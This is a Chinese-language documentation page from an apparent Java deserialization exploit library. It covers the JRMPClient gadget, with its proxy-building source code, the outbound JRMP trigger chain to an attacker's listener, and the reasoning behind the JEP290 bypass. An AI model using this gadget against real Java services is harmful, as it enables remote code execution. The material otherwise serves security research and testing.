Skip to content

Latest commit

 

History

History
73 lines (62 loc) · 4.57 KB

File metadata and controls

73 lines (62 loc) · 4.57 KB

JRMPClient(JRMPClient)

  • 类别:javanative 别名:— 优先级:—
  • 作者:mbechler
  • 依赖jdk < 8u121

作用

构造一个 Registry 接口的动态代理,其 InvocationHandlerRemoteObjectInvocationHandler,内部 UnicastRef 指向攻击者控制的 JRMP(RMI)监听器地址。反序列化时对该代理的方法调用会发起一次 JRMP 出站连接,由恶意 JRMPListener 回传二次反序列化 Payload,从而绕过 JEP290 达成 RCE。是链尾 sink 型 gadget。

链接标签

  • 入口 tagsJavaNativeDeserializeEND —— JavaNativeDeserialize 表示由 Java 原生反序列化入口驱动;END 表示它是链尾,自身完成利用闭合,不再向后衔接。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

无内层依赖,invoke 直接返回 getObject() 构造的代理:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

getObjectaddress 解析出 host/port,构造 RMI 客户端引用并封装为动态代理:

public Object getObject() throws Exception {
    String host; int port;
    int sep = this.address.indexOf(58);
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = this.address;
    } else {
        host = this.address.substring(0, sep);
        port = Integer.valueOf(this.address.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry)Proxy.newProxyInstance(
        JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
    return proxy;
}
  • TCPEndpoint(host, port) + LiveRef(id, te, false) + UnicastRef:封装一个指向攻击者 host:port 的 RMI 远程引用。ObjID 随机化。
  • RemoteObjectInvocationHandler(ref):JDK 内置的可序列化 InvocationHandler,反序列化后其 invoke 会用该 ref 发起远程调用。
  • Proxy.newProxyInstance(..., Registry.class, obj):对 java.rmi.registry.Registry 接口做动态代理。整个代理对象可被序列化。

触发链(对应 description):当外层容器(如 BadAttributeValueExpExceptionHashSet/HashMap 等)在反序列化时对该 Registry 代理调用任意方法(例如 lookup),会进入 RemoteObjectInvocationHandler.invokeUnicastRef.invokesun.rmi.transport.StreamRemoteCall#executeCall,向攻击者的 JRMPListener 发起 JRMP 连接。客户端按顺序反序列化服务端返回的数据:

  1. 服务端给的 returnType;
  2. 服务端给的一个 ID;
  3. 服务端给的报错信息(Payload 位置) —— 恶意 JRMPListener 在此位置回送二次反序列化 gadget(如 CommonsCollections),完成 RCE。

JEP290 绕过原理:JEP290(8u121 引入)默认只为 RMI Registry 层和 DGC 层安装了内置过滤器,而最底层的 JRMP 协议本身没有反序列化过滤。因此本 client 在客户端侧发起连接并反序列化服务端返回的错误信息时不受过滤器约束——但这要求本地 JDK < 8u121(否则同样受限)。

参数(@Param)

字段 名称 说明 默认 可选值
address JRMPListener Address 攻击者 JRMPListener 地址,形如 host:port 127.0.0.1:13999

address 若不含 :,则整串作为 host、端口随机(new Random().nextInt(65535))。

适用版本与原理要点

  • 经典 ysoserial JRMPClient(作者 mbechler)。要求目标 JDK < 8u121(8u121 起 JEP290 生效,且需评估过滤器配置)。
  • 需要配合一个恶意 JRMPListener(如 ysoserial 的 JRMPListener / 本库 JRMPListener)在指定地址监听并回送二次反序列化 Payload。
  • 本 gadget 只负责「打出去」,真正 RCE 由 JRMPListener 端的二次 gadget 决定,故属于探测/桥接性质的链尾。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 配套服务端:JRMPListener(本库同批 gadget,构造监听端 Payload)。
  • 同族(JRMP/RMI 出站型):JRMPClient2、JRMPClient3、RMIConnector、RMIConnectWithUnicastRemoteObject。
  • 上游(触发者):任何在反序列化时会调用代理方法的入口容器(如 BadAttributeValueExpException、Hash 结构)。